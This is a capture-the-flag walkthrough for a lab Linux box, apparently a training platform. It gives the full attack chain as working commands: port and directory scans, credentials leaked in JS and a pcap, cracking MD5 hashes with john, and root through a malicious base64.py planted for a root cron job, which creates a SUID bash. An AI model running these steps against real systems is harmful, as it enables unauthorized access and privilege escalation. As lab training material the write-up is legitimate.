Valley Photo Co. is a medium Linux box that punishes credential reuse at every layer. The developer left a to-do note saying "remove this directory" in a static file slot. They didn't remove it. Everything else followed from that.
Initial Enumeration
Full port scan first — always. Non-standard ports don't show up in default scans.
nmap -p- --min-rate 5000 -T4 10.146.163.47 -oN valley_allports.txt
nmap -sC -sV -p 22,80,37370 -oN valley_services.txt 10.146.163.47
SSH on 22, Apache 2.4.41 on 80, vsFTPd 3.0.3 on 37370. The FTP port needs credentials — filed away.
The web app is a photography portfolio. Two buttons: View Gallery and View Pricing. Page source references /js/art.js — a node.js ascii-art package with a known command injection vulnerability. It 404s here and doesn't factor into this chain, but worth noting that I checked.
Gobuster with extension hunting:
gobuster dir -u http://10.146.163.47 -w /usr/share/wordlists/dirb/common.txt -x html,php,txt -o valley_gobuster.txt
Surfaces /gallery, /pricing, and /static with 301s. /static/ has directory listing enabled but appears empty. The gallery source shows images served from /static/1 through /static/18. Going one past the end to /static/00 returns something that isn't an image.
Information Disclosure — /static/00
Dev notes sitting in a numbered static slot the gallery never references:
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
The developer left a reminder to remove a directory and didn't remove it. /dev1243224123123 is the next stop.
Credentials in Client-Side JS
/dev1243224123123/ is a login portal. Page source references dev.js. The authentication logic and the credentials are in plaintext:
if (username === "siemDev" && password === "california") {
window.location.href = "/dev1243224123123/devNotes37370.txt";
}
siemDev / california. The redirect target has the FTP port number in the filename, which isn't subtle. The dev notes at that path say "stop reusing credentials" and "change ftp port to normal port." They didn't do either.
FTP Access — PCAP Retrieval
FTP opens immediately with the JS credentials:
ftp 10.146.163.47 37370
Three files in the directory: siemFTP.pcapng, siemHTTP1.pcapng, siemHTTP2.pcapng. The FTP pcap is a red herring. siemHTTP2.pcapng is the one. Filtering for http in Wireshark and looking at POST requests surfaces credentials in plaintext:
uname=valleyDev
psw=ph0t0s1234
The dev notes said stop reusing credentials. They didn't listen.
Initial Access — SSH as valleyDev
ssh valleyDev@10.146.163.47
User flag retrieved. Standard privesc enumeration: no sudo rights for valleyDev, one custom cron entry running python3 /photos/script/photosEncrypt.py as root every minute. The script imports base64 — potentially hijackable if a writable path exists earlier in Python's search order. But valleyDev isn't in the valley group that owns the photos directory. Need to lateral move first.
Lateral Movement — valleyAuthenticator Binary
/home/ has an unexpected file: valleyAuthenticator, executable by everyone. Running it prompts for credentials — known ones fail. The real password is baked into the binary. Pull it locally:
scp valleyDev@10.146.163.47:/home/valleyAuthenticator ~/valleyAuthenticator
Initial strings output is garbage — UPX packed. Unpack first:
upx -d ~/valleyAuthenticator -o ~/valleyAuthenticator_unpacked
strings ~/valleyAuthenticator_unpacked | grep -B5 "Welcome"
Two MD5 hashes appear directly above the authentication strings:
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
echo "e6722920bab2326f8217e4bf6b1b58ac" > hashes.txt
echo "dd2921cc76ee3abfd2beb60709056cfb" >> hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
John returns valley and liberty123.
su valley
# password: liberty123
valleyAdmin group. That's what was missing.
Privilege Escalation — Python Library Hijack via Cron
Python's module search order checks sys.path sequentially. If a malicious module exists earlier in that path than the real one, it gets imported instead. As valley, check whether valleyAdmin has write access to any path Python searches:
python3 -c "import sys; print(sys.path)"
ls -la /usr/lib/python3.8/
/usr/lib/python3.8/ is group-writable by valleyAdmin. photosEncrypt.py imports base64. Dropping a malicious base64.py here means root imports it on the next cron tick.
echo 'import os; os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")' > /usr/lib/python3.8/base64.py
watch -n 5 ls -la /tmp/rootbash
SUID rootbash appears within a minute.
/tmp/rootbash -p
cat /root/root.txt
Full Attack Chain
full port scan → non-standard FTP (37370) + Apache (80)
→ /static/00 dev notes → hidden dir /dev1243224123123
→ dev.js credentials (siemDev/california) → FTP access
→ siemHTTP2.pcapng → plaintext SSH creds (valleyDev/ph0t0s1234)
→ SSH → user flag
→ cron: root runs photosEncrypt.py (imports base64) every minute
→ valleyAuthenticator binary → UPX unpack → MD5 hashes → john
→ su valley (liberty123) → valleyAdmin group
→ writable /usr/lib/python3.8/ → malicious base64.py
→ cron fires → SUID rootbash → root flag